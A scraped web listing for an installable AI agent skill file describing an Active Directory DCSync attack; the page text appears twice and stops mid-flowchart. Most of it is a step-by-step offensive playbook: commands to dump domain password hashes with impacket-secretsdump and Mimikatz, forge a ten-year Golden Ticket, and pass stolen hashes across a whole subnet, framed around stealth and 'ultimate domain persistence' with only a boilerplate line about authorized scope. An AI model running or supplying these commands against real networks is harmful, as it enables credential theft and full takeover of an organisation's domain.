active-directory-dcsync-attack

Name: active-directory-dcsync-attack
Author: ShulkwiSEC

18stars5forks

How to install active-directory-dcsync-attack?

shulkwisec/bb-huge/active-directory-dcsync-attack

$npx -y skills add ShulkwiSEC/bb-huge --skill active-directory-dcsync-attack

Installs into the current project.

Summary

Execute a DCSync attack mimicking the behavior of a legitimate Active Directory Domain Controller (DC). Leverage Directory Replication Service Remote Protocol (DRSR) permissions to silently request and extract the password hashes (NTLM/Kerberos) of any or all users in the domain

Files · 1

View on GitHub

SKILL.md

1	# Active Directory DCSync Attack
2
3	## When to Use
4	- When operating within a compromised Active Directory environment and you have acquired the credentials of a highly-privileged account (e.g., Domain Admin, Enterprise Admin, or a specific Service Account with Directory Replication rights).
5	- To extract the `krbtgt` account hash, which is absolutely mandatory for forging Golden Tickets subsequently establishing ultimate domain persistence.
6	- To perform a complete, stealthy domain credential dump without installing malware directly onto the Domain Controller or exporting the physical `NTDS.dit` database file.
7
8
9	## Prerequisites
10	- Authorized scope and rules of engagement for the target environment
11	- Appropriate tools installed on the attack/analysis platform
12	- Understanding of the target technology stack and architecture
13	- Documentation template ready for findings and evidence capture
14
15	## Workflow
16
17	### Phase 1: Validating Prerequisites
18
19	```text
20	# Concept: A standard domain user CANNOT execute a DCSync. The attacking account MUST possess
21	# three highly specific Access Control Entries (ACEs) granted at the Domain Root level:
22	# 1. Replicating Directory Changes (DS-Replication-Get-Changes)
23	# 2. Replicating Directory Changes All (DS-Replication-Get-Changes-All)
24	# 3. Replicating Directory Changes In Filtered Set
25
26	# Default Groups possessing these rights natively:
27	# - Domain Controllers
28	# - Enterprise Admins
29	# - Domain Admins
30	# - Administrators
31	```
32
33	### Phase 2: Remote DCSync via Impacket (Linux/Kali)
34
35	```bash
36	# Concept: You possess a Domain Administrator's NTLM hash or plaintext password.
37	# You execute the attack remotely from your Kali machine over the network.
38
39	# 1. Target a specific high-value account (e.g., the krbtgt account)
40	impacket-secretsdump 'CORP/Administrator:Password123!'@10.0.0.5 -just-dc-user krbtgt
41
42	# 2. Extract the NTLM hash of a specific Domain Admin
43	impacket-secretsdump 'CORP/Administrator:Password123!'@10.0.0.5 -just-dc-user JamesP_Admin
44
45	# 3. Dump the entire Active Directory Database (Warning: Extremely Noisy)
46	impacket-secretsdump 'CORP/Administrator:Password123!'@10.0.0.5 -just-dc
47	```
48
49	### Phase 3: Local DCSync via Mimikatz (Windows/Cobalt Strike)
50
51	```powershell
52	# Concept: You are operating interactively on a compromised Windows workstation.
53	# You inject a Domain Admin's token into memory and execute Mimikatz dynamically.
54
55	# 1. Execute Mimikatz
56	privilege::debug
57
58	# 2. Extract the krbtgt account explicitly
59	lsadump::dcsync /domain:corp.local /user:krbtgt
60
61	# 3. Output Example:
62	# SAM Username : krbtgt
63	# User Principal Name: krbtgt@corp.local
64	# Hash NTLM : 1234567890abcdef1234567890abcdef
65	# Hash AES256 : abcdef1234567890abcdef1234567890abcdef1234567890abcdef1234567890
66
67	# 4. Extracting the Directory Integration Services Account (Azure AD Connect)
68	# This account (`MSOL_xxxxxxxx`) holds immense privilege connecting the on-premise AD to Azure.
69	lsadump::dcsync /domain:corp.local /user:"MSOL_0a1b2c3d4e5f"
70	```
71
72	### Phase 4: Applying DCSync Loot (The Escalation)
73
74	```bash
75	# Concept: The DCSync is purely an extraction technique. The true impact is how the
76	# extracted cryptographic material is leveraged.
77
78	# Action 1: Golden Ticket Creation (Using the extracted krbtgt hash)
79	# Forges an unforgeable, 10-year active Kerberos Ticket Granting Ticket (TGT).
80	impacket-ticketer -nthash 1234567890abcdef1234567890abcdef -domain-sid S-1-5-21-XXX -domain corp.local Administrator
81
82	# Action 2: Pass-the-Hash (PTH)
83	# Utilize any extracted Administrator NTLM hash to uniformly move laterally across all servers unconditionally.
84	nxc smb 10.0.0.0/24 -u JamesP_Admin -H 9876543210fedcba9876543210fedcba --local-auth
85	```
86
87	#### Decision Point 🔀
88	```mermaid
89	flowchart TD
90	A[Compromise Account] --> B[Check Account Group Memberships via `net user /domain`]
91	B --> C{Is Account a Domain Admin?}
92	C -->\|Yes\| D[Execute DCSync explicitly targeting `krbtgt`]
93	C -->\|No\| E[Check specific ACEs utilizing BloodHound]
94	E -->\|Account has 'Replicating Directory Changes'\| D
95	E -->\|Account lacks rights\| F[DCSync impossible. Attempt alternative Privilege Escalation (Kerberoasting, BloodHound Paths)]
96	D --> G[Extract `krbtgt` NTLM

People who liked this also viewed

6 picks

Type

active-directory-dcsync-attack

18stars5forks

View on GitHub

How to install active-directory-dcsync-attack?

shulkwisec/bb-huge/active-directory-dcsync-attack

$npx -y skills add ShulkwiSEC/bb-huge --skill active-directory-dcsync-attack

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# Active Directory DCSync Attack
2
3	## When to Use
4	- When operating within a compromised Active Directory environment and you have acquired the credentials of a highly-privileged account (e.g., Domain Admin, Enterprise Admin, or a specific Service Account with Directory Replication rights).
5	- To extract the `krbtgt` account hash, which is absolutely mandatory for forging Golden Tickets subsequently establishing ultimate domain persistence.
6	- To perform a complete, stealthy domain credential dump without installing malware directly onto the Domain Controller or exporting the physical `NTDS.dit` database file.
7
8
9	## Prerequisites
10	- Authorized scope and rules of engagement for the target environment
11	- Appropriate tools installed on the attack/analysis platform
12	- Understanding of the target technology stack and architecture
13	- Documentation template ready for findings and evidence capture
14
15	## Workflow
16
17	### Phase 1: Validating Prerequisites
18
19	```text
20	# Concept: A standard domain user CANNOT execute a DCSync. The attacking account MUST possess
21	# three highly specific Access Control Entries (ACEs) granted at the Domain Root level:
22	# 1. Replicating Directory Changes (DS-Replication-Get-Changes)
23	# 2. Replicating Directory Changes All (DS-Replication-Get-Changes-All)
24	# 3. Replicating Directory Changes In Filtered Set
25
26	# Default Groups possessing these rights natively:
27	# - Domain Controllers
28	# - Enterprise Admins
29	# - Domain Admins
30	# - Administrators
31	```
32
33	### Phase 2: Remote DCSync via Impacket (Linux/Kali)
34
35	```bash
36	# Concept: You possess a Domain Administrator's NTLM hash or plaintext password.
37	# You execute the attack remotely from your Kali machine over the network.
38
39	# 1. Target a specific high-value account (e.g., the krbtgt account)
40	impacket-secretsdump 'CORP/Administrator:Password123!'@10.0.0.5 -just-dc-user krbtgt
41
42	# 2. Extract the NTLM hash of a specific Domain Admin
43	impacket-secretsdump 'CORP/Administrator:Password123!'@10.0.0.5 -just-dc-user JamesP_Admin
44
45	# 3. Dump the entire Active Directory Database (Warning: Extremely Noisy)
46	impacket-secretsdump 'CORP/Administrator:Password123!'@10.0.0.5 -just-dc
47	```
48
49	### Phase 3: Local DCSync via Mimikatz (Windows/Cobalt Strike)
50
51	```powershell
52	# Concept: You are operating interactively on a compromised Windows workstation.
53	# You inject a Domain Admin's token into memory and execute Mimikatz dynamically.
54
55	# 1. Execute Mimikatz
56	privilege::debug
57
58	# 2. Extract the krbtgt account explicitly
59	lsadump::dcsync /domain:corp.local /user:krbtgt
60
61	# 3. Output Example:
62	# SAM Username : krbtgt
63	# User Principal Name: krbtgt@corp.local
64	# Hash NTLM : 1234567890abcdef1234567890abcdef
65	# Hash AES256 : abcdef1234567890abcdef1234567890abcdef1234567890abcdef1234567890
66
67	# 4. Extracting the Directory Integration Services Account (Azure AD Connect)
68	# This account (`MSOL_xxxxxxxx`) holds immense privilege connecting the on-premise AD to Azure.
69	lsadump::dcsync /domain:corp.local /user:"MSOL_0a1b2c3d4e5f"
70	```
71
72	### Phase 4: Applying DCSync Loot (The Escalation)
73
74	```bash
75	# Concept: The DCSync is purely an extraction technique. The true impact is how the
76	# extracted cryptographic material is leveraged.
77
78	# Action 1: Golden Ticket Creation (Using the extracted krbtgt hash)
79	# Forges an unforgeable, 10-year active Kerberos Ticket Granting Ticket (TGT).
80	impacket-ticketer -nthash 1234567890abcdef1234567890abcdef -domain-sid S-1-5-21-XXX -domain corp.local Administrator
81
82	# Action 2: Pass-the-Hash (PTH)
83	# Utilize any extracted Administrator NTLM hash to uniformly move laterally across all servers unconditionally.
84	nxc smb 10.0.0.0/24 -u JamesP_Admin -H 9876543210fedcba9876543210fedcba --local-auth
85	```
86
87	#### Decision Point 🔀
88	```mermaid
89	flowchart TD
90	A[Compromise Account] --> B[Check Account Group Memberships via `net user /domain`]
91	B --> C{Is Account a Domain Admin?}
92	C -->\|Yes\| D[Execute DCSync explicitly targeting `krbtgt`]
93	C -->\|No\| E[Check specific ACEs utilizing BloodHound]
94	E -->\|Account has 'Replicating Directory Changes'\| D
95	E -->\|Account lacks rights\| F[DCSync impossible. Attempt alternative Privilege Escalation (Kerberoasting, BloodHound Paths)]
96	D --> G[Extract `krbtgt` NTLM

People who liked this also viewed

6 picks

Type